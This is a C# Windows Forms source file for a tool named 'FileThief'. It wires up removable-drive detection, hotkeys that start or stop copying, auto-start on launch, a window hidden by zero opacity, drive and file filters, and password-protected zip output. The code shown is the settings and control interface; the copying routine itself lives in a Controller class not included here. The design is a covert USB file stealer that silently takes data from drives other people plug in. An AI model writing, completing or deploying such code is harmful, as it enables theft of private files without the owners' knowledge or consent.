﻿using System;
using System.Windows.Forms;
using FenixAdar.IO;
using FenixAdar.Windows.Forms;

namespace FileThief
{
    public partial class FileThiefForm : Form
    {
        private RuntimeDriveDetector runtimeDriveDetector = null;
        private Controller ctl = Controller.GetController();

        public FileThiefForm()
        {
            InitializeComponent();

            LoadSetting();

            Clipboard.Clear();//先清空剪贴板防止剪贴板里面先复制了其他内容
            Hotkey.Regist(this.Handle, Settings.GetSettings().VisibleFormHotkey1, Settings.GetSettings().VisibleFormHotkey2, VisibleForm);
            Hotkey.Regist(this.Handle, Settings.GetSettings().StartCopyHotkey1, Settings.GetSettings().StartCopyHotkey2, StartCopy);
            Hotkey.Regist(this.Handle, Settings.GetSettings().StopCopyHotkey1, Settings.GetSettings().StopCopyHotkey2, StopCopy);
            Hotkey.Regist(this.Handle, Settings.GetSettings().ExitAppHotkey1, Settings.GetSettings().ExitAppHotkey2, ExitApp);

            runtimeDriveDetector = new RuntimeDriveDetector(this);
            runtimeDriveDetector.DeviceArrived += new RuntimeDriveDetectorEventHandler(OnDriveArrived);
            runtimeDriveDetector.DeviceRemoved += new RuntimeDriveDetectorEventHandler(OnDriveRemoved);

            if (Settings.GetSettings().IsAutoStartCopy)
            {
                buStart.Enabled = false;
                buStop.Enabled = true;
                StartCopy();
            }
            else
            {
                buStart.Enabled = true;
                buStop.Enabled = false;
            }

            if (Settings.GetSettings().IsAutoVisibleForm)
            {
                VisibleForm();
            }

        }

        private void LoadSetting()
        {

            #region 主控制台加载块

            cbAutoStartCopy.Checked = Settings.GetSettings().IsAutoStartCopy;
            cbAutoVisibleForm.Checked = Settings.GetSettings().IsAutoVisibleForm;

            switch (Settings.GetSettings().VisibleFormHotkey1)
            {
                case HotkeyModifiers.MOD_CONTROL: cbVisibleFormHotkey.SelectedItem = "Control"; break;
                case HotkeyModifiers.MOD_SHIFT: cbVisibleFormHotkey.SelectedItem = "Shift"; break;
                case HotkeyModifiers.MOD_ALT: cbVisibleFormHotkey.SelectedItem = "Alt"; break;
                case HotkeyModifiers.MOD_WIN: cbVisibleFormHotkey.SelectedItem = "Win"; break;
                default: cbVisibleFormHotkey.SelectedItem = "Control"; break;
            }
            lbVisibleFormHotkey.Text =  Settings.GetSettings().VisibleFormHotkey2.ToString();

            switch (Settings.GetSettings().StartCopyHotkey1)
            {
                case HotkeyModifiers.MOD_CONTROL: cbStartCopyHotkey.SelectedItem = "Control"; break;
                case HotkeyModifiers.MOD_SHIFT: cbStartCopyHotkey.SelectedItem = "Shift"; break;
                case HotkeyModifiers.MOD_ALT: cbStartCopyHotkey.SelectedItem = "Alt"; break;
                case HotkeyModifiers.MOD_WIN: cbStartCopyHotkey.SelectedItem = "Win"; break;
                default: cbStartCopyHotkey.SelectedItem = "Control"; break;
            }
            lbStartCopyHotkey.Text = Settings.GetSettings().StartCopyHotkey2.ToString();

            switch (Settings.GetSettings().StopCopyHotkey1)
            {
                case HotkeyModifiers.MOD_CONTROL: cbStopCopyHotkey.SelectedItem = "Control"; break;
                case HotkeyModifiers.MOD_SHIFT: cbStopCopyHotkey.SelectedItem = "Shift"; break;
                case HotkeyModifiers.MOD_ALT: cbStopCopyHotkey.SelectedItem = "Alt"; break;
                case HotkeyModifiers.MOD_WIN: cbStopCopyHotkey.SelectedItem = "Win"; break;
                default: cbStopCopyHotkey.SelectedItem = "Control"; break;
            }
            lbStopCopyHotkey.Text = Settings.GetSettings().StopCopyHotkey2.ToString();

            switch (Settings.GetSettings().ExitAppHotkey1)
            {
                case HotkeyModifiers.MOD_CONTROL: cbExitAppHotkey.SelectedItem = "Control"; break;
                case HotkeyModifiers.MOD_SHIFT: cbExitAppHotkey.SelectedItem = "Shift"; break;
                case HotkeyModifiers.MOD_ALT: cbExitAppHotkey.SelectedItem = "Alt"; break;
                case HotkeyModifiers.MOD_WIN: cbExitAppHotkey.SelectedItem = "Win"; break;
                default: cbExitAppHotkey.SelectedItem = "Control"; break;
            }
            lbExitAppHotkey.Text = Settings.GetSettings().ExitAppHotkey2.ToString();


            #endregion

            #region detect加载块

            cbNoCopyMarkDrives.Checked = Settings.GetSettings().detect.IsNoCopyMarkDrivesOn;
            cbCopiedDriveType.SelectedIndex = Settings.GetSettings().detect.CopiedDriveType;

            if (cbNoCopyMarkDrives.Checked == true)
            {
                gbNoCopyMarkDrives.Enabled = true;
            }
            else
            {
                gbNoCopyMarkDrives.Enabled = false; ;
            }


            if (Settings.GetSettings().detect.NoCopyMarkDrives.IsBlacklist == false)
            {
                cbNoCopyMarkDrivesFilterPattern.SelectedIndex = 1;
            }
            else
            {
                cbNoCopyMarkDrivesFilterPattern.SelectedIndex = 0;
            }
            
            tbNoCopyMarkDrivesBlackFilter.Text = "";
            tbNoCopyMarkDrivesWhiteFilter.Text = "";
            foreach (string s in Settings.GetSettings().detect.NoCopyMarkDrives.Blacklist)
            {
                tbNoCopyMarkDrivesBlackFilter.AppendText(s + "\r\n");
              
            }
            foreach (string s in Settings.GetSettings().detect.NoCopyMarkDrives.Whitelist)
            {
                tbNoCopyMarkDrivesWhiteFilter.AppendText(s + "\r\n");
            }


            #endregion

            #region select加载块

            #region 文件后缀名筛选
            cbFileExtensionFilter.Checked = Settings.GetSettings().select.IsFileExtensionFilterOn;
            if (cbFileExtensionFilter.Checked == true)
            {
                gbFileExtensionFilter.Enabled = true;
            }
            else
            {
                gbFileExtensionFilter.Enabled = false;
            }

            if (Settings.GetSettings().select.FileExtensionFilter.IsBlacklist == false)
            {
                cbFileExtensionFilterPattern.SelectedIndex = 1;
            }
            else
            {
                cbFileExtensionFilterPattern.SelectedIndex = 0;
            }
                        
            tbFileExtensionBlackFilter.Text = "";
            tbFileExtensionWhiteFilter.Text = "";
            foreach (string s in Settings.GetSettings().select.FileExtensionFilter.Blacklist)
            {
                tbFileExtensionBlackFilter.AppendText(s + "\r\n");
            }
            foreach (string s in Settings.GetSettings().select.FileExtensionFilter.Whitelist)
            {
                tbFileExtensionWhiteFilter.AppendText(s + "\r\n");
            }
            #endregion

            #region 文件名筛选

            cbFileNameFilter.Checked = Settings.GetSettings().select.IsFileNameFilterOn;
            if (cbFileNameFilter.Checked == true)
            {
                gbFileNameFilter.Enabled = true;
            }
            else
            {
                gbFileNameFilter.Enabled = false;
            }

            if (Settings.GetSettings().select.FileNameFilter.IsBlacklist == false)
            {
                cbFileNameFilterPattern.SelectedIndex = 1;
            }
            else
            {
                cbFileNameFilterPattern.SelectedIndex = 0;
            }
           
            tbFileNameBlackFilter.Text = "";
            tbFileNameWhiteFilter.Text = "";
            foreach (string s in Settings.GetSettings().select.FileNameFilter.Blacklist)
            {
                tbFileNameBlackFilter.AppendText(s + "\r\n");
            }
            foreach (string s in Settings.GetSettings().select.FileNameFilter.Whitelist)
            {
                tbFileNameWhiteFilter.AppendText(s + "\r\n");
            }


            #endregion

            #region 文件占用空间大小筛选

            cbFileLengthFilter.Checked = Settings.GetSettings().select.IsFileLengthFilterOn;
            if (cbFileLengthFilter.Checked == true)
            {
                gbFileLengthFilter.Enabled = true;
            }
            else
            {
                gbFileLengthFilter.Enabled = false;
            }

            if (Settings.GetSettings().select.FileLengthFilter.IsBlacklist == false)
            {
                cbFileLengthFilterPattern.SelectedIndex = 1;
            }
            else
            {
                cbFileLengthFilterPattern.SelectedIndex = 0;
            }

            tbFileLengthLessBlackFilter.Text = Settings.GetSettings().select.FileLengthFilter.LessBlacklist.ToString();
            tbFileLengthLessWhiteFilter.Text = Settings.GetSettings().select.FileLengthFilter.LessWhitelist.ToString();
            tbFileLengthMoreBlackFilter.Text = Settings.GetSettings().select.FileLengthFilter.MoreBlacklist.ToString();
            tbFileLengthMoreWhiteFilter.Text = Settings.GetSettings().select.FileLengthFilter.MoreWhitelist.ToString();
            
            #endregion


            #endregion

            #region zip加载块

            cbCreateZipFiles.Checked = Settings.GetSettings().zip.IsCreateZipFilesOn;

            if (cbCreateZipFiles.Checked == true)
            {
                gbCreateZipFiles.Enabled = true;
            }
            else
            {
                gbCreateZipFiles.Enabled = false;
            }

            tbZipFileMaxLength.Text = Settings.GetSettings().zip.ZipFileMaxLength.ToString();

            switch(Settings.GetSettings().zip.ZipCompressionLevel)
            {
                case Ionic.Zlib.CompressionLevel.BestCompression: cbZipCompressionLevel.SelectedIndex = 0; break;
                case Ionic.Zlib.CompressionLevel.BestSpeed: cbZipCompressionLevel.SelectedIndex = 1; break;
                case Ionic.Zlib.CompressionLevel.Default: cbZipCompressionLevel.SelectedIndex = 2; break;
                case Ionic.Zlib.CompressionLevel.Level0: cbZipCompressionLevel.SelectedIndex = 3; break;
                //case Ionic.Zlib.CompressionLevel.Level1: cbZipCompressionLevel.SelectedIndex = 4; break;
                case Ionic.Zlib.CompressionLevel.Level2: cbZipCompressionLevel.SelectedIndex = 5; break;
                case Ionic.Zlib.CompressionLevel.Level3: cbZipCompressionLevel.SelectedIndex = 6; break;
                case Ionic.Zlib.CompressionLevel.Level4: cbZipCompressionLevel.SelectedIndex = 7; break;
                case Ionic.Zlib.CompressionLevel.Level5: cbZipCompressionLevel.SelectedIndex = 8; break;
                //case Ionic.Zlib.CompressionLevel.Level6: cbZipCompressionLevel.SelectedIndex = 9; break;
                case Ionic.Zlib.CompressionLevel.Level7: cbZipCompressionLevel.SelectedIndex = 10; break;
                case Ionic.Zlib.CompressionLevel.Level8: cbZipCompressionLevel.SelectedIndex = 11; break;
                //case Ionic.Zlib.CompressionLevel.Level9: cbZipCompressionLevel.SelectedIndex = 12; break;
                //case Ionic.Zlib.CompressionLevel.None: cbZipCompressionLevel.SelectedIndex = 13; break;
            }

            
            tbZipPassword.Text = tbZipPassword1.Text = Util.DecryptDES(Settings.GetSettings().zip.ZipPassword);
            
            tbZipFileDir.Text = Settings.GetSettings().zip.ZipFileDir;
            
            #endregion

            #region copy加载块

            tbCopyDiskTargetPath.Text = Settings.GetSettings().copy.DiskTargetPath;

            #endregion

            


        }
        
        // Called by DriveDetector when removable device in inserted 
        private void OnDriveArrived(object sender, RuntimeDriveDetectorEventArgs e)
        {
            //MessageBox.Show(e.Drive + "Arrived");

            ctl.NewDriveArrive(e.Drive);

        }

        // Called by DriveDetector after removable device has been unpluged 
        private void OnDriveRemoved(object sender, RuntimeDriveDetectorEventArgs e)
        {
            //MessageBox.Show(e.Drive + "Removed");
        }
               
        protected override void WndProc(ref Message m)
        {
            base.WndProc(ref m);        // call default p

            Hotkey.ProcessHotKey(m);

            if (runtimeDriveDetector != null)
            {
                runtimeDriveDetector.WndProc(ref m);
            }
        }

        private void buStart_Click(object sender, EventArgs e)
        {
            StartCopy();
        }

        private void StartCopy()
        {
            ctl.StartCopy();

            if (ctl.IsStart == true)
            {
                buStart.Enabled = false;
                buStop.Enabled = true;
            }
        }

        private void buStop_Click(object sender, EventArgs e)
        {
            StopCopy();
        }

        private void StopCopy()
        {
            ctl.StopCopy();

            if (ctl.IsStart == false)
            {
                buStart.Enabled = true;
                buStop.Enabled = false;
            }
        }
                
        private void cbNoCopyMarkDrives_CheckedChanged(object sender, EventArgs e)
        {
            gbNoCopyMarkDrives.Enabled = cbNoCopyMarkDrives.Checked ? true : false;
        }

        private void cbFileExtensionFilter_CheckedChanged(object sender, EventArgs e)
        {
            gbFileExtensionFilter.Enabled = cbFileExtensionFilter.Checked ? true : false;
        }

        private void cbFileNameFilter_CheckedChanged(object sender, EventArgs e)
        {
            gbFileNameFilter.Enabled = cbFileNameFilter.Checked ? true : false;
        }

        private void cbFileLengthFilter_CheckedChanged(object sender, EventArgs e)
        {
            gbFileLengthFilter.Enabled = cbFileLengthFilter.Checked ? true : false;
        }

        private void tbNumber_KeyPress(object sender, KeyPressEventArgs e)
        {
            if ("1234567890".IndexOf(e.KeyChar) == -1)
            {
                e.Handled = true;
            }
        }

        private void buZipFileDir_Click(object sender, EventArgs e)
        {
            if (folderBrowserDialog.ShowDialog() == DialogResult.OK)
            {
                tbZipFileDir.Text = folderBrowserDialog.SelectedPath;
            }
        }

        private void buCopyDiskTargetPath_Click(object sender, EventArgs e)
        {
            if (folderBrowserDialog.ShowDialog() == DialogResult.OK)
            {
                tbCopyDiskTargetPath.Text = folderBrowserDialog.SelectedPath;
            }           

        }

        private void cbCreateZipFiles_CheckedChanged(object sender, EventArgs e)
        {
            gbCreateZipFiles.Enabled = cbCreateZipFiles.Checked ? true : false;
        }

        private void tbZipPassword1_Leave(object sender, EventArgs e)
        {
            if (!tbZipPassword.Text.Equals(tbZipPassword1.Text))
            {
                tbZipPassword.Text = tbZipPassword1.Text = "";
                MessageBox.Show("二次输出的密码不一致，请重新输入压缩密码");                
            }
        }

        private void buSaveSettings_Click(object sender, EventArgs e)
        {
            string[] s;

            #region 存入AppSettings的设置

            Hotkey.UnRegist(this.Handle, VisibleForm);
            Hotkey.UnRegist(this.Handle, StartCopy);
            Hotkey.UnRegist(this.Handle, StopCopy);
            Hotkey.UnRegist(this.Handle, ExitApp);

            Settings.GetSettings().IsAutoStartCopy = cbAutoStartCopy.Checked;
            Settings.GetSettings().IsAutoVisibleForm = cbAutoVisibleForm.Checked;

            switch (cbVisibleFormHotkey.SelectedItem.ToString())
            {
                case "Alt": Settings.GetSettings().VisibleFormHotkey1 = HotkeyModifiers.MOD_ALT; break;
                case "Control": Settings.GetSettings().VisibleFormHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
                case "Shift": Settings.GetSettings().VisibleFormHotkey1 = HotkeyModifiers.MOD_SHIFT; break;
                case "Win": Settings.GetSettings().VisibleFormHotkey1 = HotkeyModifiers.MOD_WIN; break;
                default: Settings.GetSettings().VisibleFormHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
            }

            switch (cbStartCopyHotkey.SelectedItem.ToString())
            {
                case "Alt": Settings.GetSettings().StartCopyHotkey1 = HotkeyModifiers.MOD_ALT; break;
                case "Control": Settings.GetSettings().StartCopyHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
                case "Shift": Settings.GetSettings().StartCopyHotkey1 = HotkeyModifiers.MOD_SHIFT; break;
                case "Win": Settings.GetSettings().StartCopyHotkey1 = HotkeyModifiers.MOD_WIN; break;
                default: Settings.GetSettings().StartCopyHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
            }

            switch (cbStopCopyHotkey.SelectedItem.ToString())
            {
                case "Alt": Settings.GetSettings().StopCopyHotkey1 = HotkeyModifiers.MOD_ALT; break;
                case "Control": Settings.GetSettings().StopCopyHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
                case "Shift": Settings.GetSettings().StopCopyHotkey1 = HotkeyModifiers.MOD_SHIFT; break;
                case "Win": Settings.GetSettings().StopCopyHotkey1 = HotkeyModifiers.MOD_WIN; break;
                default: Settings.GetSettings().StopCopyHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
            }

            switch (cbExitAppHotkey.SelectedItem.ToString())
            {
                case "Alt": Settings.GetSettings().ExitAppHotkey1 = HotkeyModifiers.MOD_ALT; break;
                case "Control": Settings.GetSettings().ExitAppHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
                case "Shift": Settings.GetSettings().ExitAppHotkey1 = HotkeyModifiers.MOD_SHIFT; break;
                case "Win": Settings.GetSettings().ExitAppHotkey1 = HotkeyModifiers.MOD_WIN; break;
                default: Settings.GetSettings().ExitAppHotkey1 = HotkeyModifiers.MOD_CONTROL; break;
            }

            Clipboard.Clear();//先清空剪贴板防止剪贴板里面先复制了其他内容
            Hotkey.Regist(this.Handle, Settings.GetSettings().VisibleFormHotkey1, Settings.GetSettings().VisibleFormHotkey2, VisibleForm);
            Hotkey.Regist(this.Handle, Settings.GetSettings().StartCopyHotkey1, Settings.GetSettings().StartCopyHotkey2, StartCopy);
            Hotkey.Regist(this.Handle, Settings.GetSettings().StopCopyHotkey1, Settings.GetSettings().StopCopyHotkey2, StopCopy);
            Hotkey.Regist(this.Handle, Settings.GetSettings().ExitAppHotkey1, Settings.GetSettings().ExitAppHotkey2, ExitApp);

            #endregion

            #region 存入detect的设置
            Settings.GetSettings().detect.IsNoCopyMarkDrivesOn = cbNoCopyMarkDrives.Checked;
            Settings.GetSettings().detect.CopiedDriveType = cbCopiedDriveType.SelectedIndex;

            if (cbNoCopyMarkDrivesFilterPattern.SelectedIndex == 0)
            {
                Settings.GetSettings().detect.NoCopyMarkDrives.IsBlacklist = true;
            }
            else
            {
                Settings.GetSettings().detect.NoCopyMarkDrives.IsBlacklist = false;
            }

            s = tbNoCopyMarkDrivesBlackFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().detect.NoCopyMarkDrives.Blacklist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().detect.NoCopyMarkDrives.Blacklist.Add(i);
            }
            s = tbNoCopyMarkDrivesWhiteFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().detect.NoCopyMarkDrives.Whitelist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().detect.NoCopyMarkDrives.Whitelist.Add(i);
            }

            #endregion

            #region 存入select的设置

            #region 文件后缀名过滤

            Settings.GetSettings().select.IsFileExtensionFilterOn = cbFileExtensionFilter.Checked;

            if (cbFileExtensionFilterPattern.SelectedIndex == 0)
            {
                Settings.GetSettings().select.FileExtensionFilter.IsBlacklist = true;
            }
            else
            {
                Settings.GetSettings().select.FileExtensionFilter.IsBlacklist = false;
            }

            s = tbFileExtensionBlackFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().select.FileExtensionFilter.Blacklist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().select.FileExtensionFilter.Blacklist.Add(i);
            }

            s = tbFileExtensionWhiteFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().select.FileExtensionFilter.Whitelist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().select.FileExtensionFilter.Whitelist.Add(i);
            }

            #endregion

            #region 文件名过滤

            Settings.GetSettings().select.IsFileNameFilterOn = cbFileNameFilter.Checked;

            if (cbFileNameFilterPattern.SelectedIndex == 0)
            {
                Settings.GetSettings().select.FileNameFilter.IsBlacklist = true;
            }
            else
            {
                Settings.GetSettings().select.FileNameFilter.IsBlacklist = false;
            }

            s = tbFileNameBlackFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().select.FileNameFilter.Blacklist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().select.FileNameFilter.Blacklist.Add(i);
            }

            s = tbFileNameWhiteFilter.Text.Split(new char[] { '\n', '\r' }, int.MaxValue, StringSplitOptions.RemoveEmptyEntries);
            Settings.GetSettings().select.FileNameFilter.Whitelist.Clear();
            foreach (string i in s)
            {
                Settings.GetSettings().select.FileNameFilter.Whitelist.Add(i);
            }

            #endregion

            #region 文件占用空间大小
            // 
            Settings.GetSettings().select.IsFileLengthFilterOn = cbFileLengthFilter.Checked;

            if (cbFileLengthFilterPattern.SelectedIndex == 0)
            {
                Settings.GetSettings().select.FileLengthFilter.IsBlacklist = true;
            }
            else
            {
                Settings.GetSettings().select.FileLengthFilter.IsBlacklist = false;
            }

            Settings.GetSettings().select.FileLengthFilter.LessBlacklist = tbFileLengthLessBlackFilter.Text.ToInt();
            Settings.GetSettings().select.FileLengthFilter.MoreBlacklist = tbFileLengthMoreBlackFilter.Text.ToInt();
            Settings.GetSettings().select.FileLengthFilter.LessWhitelist = tbFileLengthLessWhiteFilter.Text.ToInt();
            Settings.GetSettings().select.FileLengthFilter.MoreWhitelist = tbFileLengthMoreWhiteFilter.Text.ToInt();

            #endregion

            #endregion

            #region 存入zip的设置

            Settings.GetSettings().zip.IsCreateZipFilesOn = cbCreateZipFiles.Checked;
            Settings.GetSettings().zip.ZipFileMaxLength = tbZipFileMaxLength.Text.ToLong();

            switch (cbZipCompressionLevel.SelectedIndex)
            {
                case 0: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; break;
                case 1: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.BestSpeed; break;
                case 2: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Default; break;
                case 3: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level0; break;
                case 4: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level1; break;
                case 5: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level2; break;
                case 6: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level3; break;
                case 7: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level4; break;
                case 8: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level5; break;
                case 9: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level6; break;
                case 10: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level7; break;
                case 11: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level8; break;
                case 12: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.Level9; break;
                case 13: Settings.GetSettings().zip.ZipCompressionLevel = Ionic.Zlib.CompressionLevel.None; break;
            }

            Settings.GetSettings().zip.ZipPassword = Util.EncryptDES(tbZipPassword.Text);
            Settings.GetSettings().zip.ZipFileDir = tbZipFileDir.Text;

            #endregion

            #region 存入copy的设置

            Settings.GetSettings().copy.DiskTargetPath = tbCopyDiskTargetPath.Text;

            #endregion

            Settings.SaveSettings();
           
        }

        private void buReloadSettings_Click(object sender, EventArgs e)
        {
            Settings.ReloadSettings();
            LoadSetting();
        }

        private void buLoadDefaultSettings_Click(object sender, EventArgs e)
        {
            Settings.LoadDefaultSettings();
            LoadSetting();
        }

        private void VisibleForm()
        {
            this.Opacity = (this.Opacity == 1) ? 0 : 1;
        }

        private void ExitApp()
        {
            StopCopy();

            Hotkey.UnRegist(this.Handle, VisibleForm);
            Hotkey.UnRegist(this.Handle, StartCopy);
            Hotkey.UnRegist(this.Handle, StopCopy);
            Hotkey.UnRegist(this.Handle, ExitApp);

            ctl.ExitApp();

            this.Close();
        }

        private void buDetectDriveNum_Click(object sender, EventArgs e)
        {
            string driveName = tbDriveNum.Text.Substring(0, 1);
            tbVolumeSerialNumber.Text = new VolumeSerialNumberManager().GetVolumeSerialNumber(driveName);
        }
        
    

    }



}
